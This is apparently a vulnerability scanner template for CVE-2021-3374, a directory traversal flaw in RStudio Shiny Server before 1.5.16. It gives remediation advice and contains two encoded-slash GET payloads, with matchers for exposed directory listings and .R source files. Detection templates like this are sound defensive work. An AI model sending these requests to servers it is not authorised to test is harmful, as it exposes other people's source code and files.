Rstudio Shiny Server <1.5.16 - Local File Inclusion

id: CVE-2021-3374

info:
  name: Rstudio Shiny Server <1.5.16 - Local File Inclusion
  author: geeknik
  severity: medium
  description: Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
  reference:
    - https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
    - https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3374
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3374
    cwe-id: CWE-22
    epss-score: 0.00235
    epss-percentile: 0.61494
    cpe: cpe:2.3:a:rstudio:shiny_server:*:*:*:*:pro:*:*:*
  metadata:
    max-request: 2
    vendor: rstudio
    product: shiny_server
  tags: cve2021,cve,rstudio,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2f/"
      - "{{BaseURL}}/sample-apps/hello/%2f/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Index of /"

      - type: regex
        part: body
        regex:
          - "[A-Za-z].*\\.R"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220092e3113d5b43405d049a5e6b91f805dbfce0484bc0a6cb3d1791bd10b636771022100d9ac7e9f7f5793de6f56a45088ac511ab88c7798a97df2cd015c7f282f0a40c7:922c64590222798bb761d5b6d8e72950